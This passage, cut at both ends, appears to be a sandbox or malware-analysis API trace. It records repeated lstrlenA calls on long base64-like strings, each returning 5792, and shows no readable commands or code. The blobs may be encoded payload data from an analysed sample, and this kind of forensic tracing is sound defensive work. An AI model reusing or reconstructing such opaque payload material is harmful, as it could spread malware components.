dhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.358] lstrlenA (lpString="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") returned 5792 [0128.358] lstrlenA (lpString="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") returned 5792 [0128.358] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EYZuJdnHDIAlZKhTotgoFLGrsr5yCGg6J5+KaNeCEQ18DNCargANkJuqdiGSoVQuv3lyKi3mUjTYins9w6xLz2HvYczyRRnQxdRjnD1T94fe2IYRq4vDVsjDDMklXza/m5c2HtwVzc+JR39oZ9QD9O4UyGn/9434wg/tHbejo/TsiP9/TxcMLDcIY8C0GSvTm4i/67LRtotkktBeWJXKwSJPQAcNCtbiY37If9/tFNUgJ7xln/0EeguBl+mG6Cw8m8ZyvECKyF+N1IlW0hBjQfeoUHRQUqZCfNLuCG8wSg0uLyuz3aW/37wXtHnlMq0vWIIOaPuqeNDXs82bvKXpoKRmVrolZxBnmOthOcn4U/tEX8qh4Ku5r2GvOxI8E9B1KAkJ6cURKbp9MqxybzBONVQSIr/TflDhuVFT1lrC+dZqvg94+lhHHDv+8Zkv/vBmuupHXbAps1SRttGfVTHB/W+fppkh0k9QX6+XC/2EVI8IO3McPkydOccTE0DxzvA3s9hk7UuLO2AJUpaV6vtxLhkFm8qgOur8sdlNzYcENBFf5sPJou+My4kO1YdJI1wSwBE+WjWmHKSRVmPk9gIdYNj+PdcXAEua+VJq/oWFscUn7mat2gWMj1x/N3ssVLZ6xtOz56lw8ENqizym+rJ36TUjBDNHyKoivVj2757CCpY8NXHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZLx8nW2fmvF4h9zs1HQ1nNlFP3L3dKoFYA4zMMv7hg4XFocI7NP3+fE697T/S5igTjvHF1wzYdL6YJch6feVeY88Yti33n/meLgq34H/Jut/HgZe+VWN/PwO11Jz0YUmkVp9AeAxZQXGE+OIMOY0r6TDp/N1Vcq305LXXlSQayDS2gSqqtFDpofSeO8TDUL//YK9yGT7zkFNKWUKuT9sess5SxvrfzoKtOqk6m4Y3aH1qmjDVGPLPjXzYW6XBytXgCfWxI+kyrHZDOx7e/+9KtPMG4p2L2yUmEWBMxqpZVOIuwAlSU08m2PRQ62/ZA1NKF5cKIb93yHCqKRLFtJC5liMy3lzeiTIXmIBiKzTLITNEhL+YVk2lxNVwJHLwT8QAV9ILxzt0IAL8vGkoZ24e+F22DG4QyPSeHfVSBVlO/ElQ0yZwBluOwDRKFOLZy49gktPmIuAS/JyQ5wIgNxPQqDLSmlhKJHVSo9Ugj5pnaZZrr1Wn4tJRskxHp246TrvbMMAWlKRQw+kK+0QcGMMytqfXRbZe4HRKyij9M2UrgDEqON8/KRoeUi8Dwbm7MBZOAwOayoHafCXrUnkoai3bfNJ31v5W33+lfNXGYh87PpqQ6iztsMnH3iVcl3Asp/4VA8d18u+y8enTBtp2PhYVTHgBXgcHe+ekrTbBU1qbzH3ZxAtm8gidioiqRfNYnf3m84y+S0WdG0r9JMK6GdrfPfNpKGNFvUVSyZvu0Zo4NOXLX1QS3ddo5b6apBb/zmK7vnKpTd6pYtC4QrwPM7SGQTcqLky7+qVo2wSjRM6wz3h6ZrvJAHo1QAXBiUEda+OgL2HfIGrNA45iVfJsoeGDdDYzmm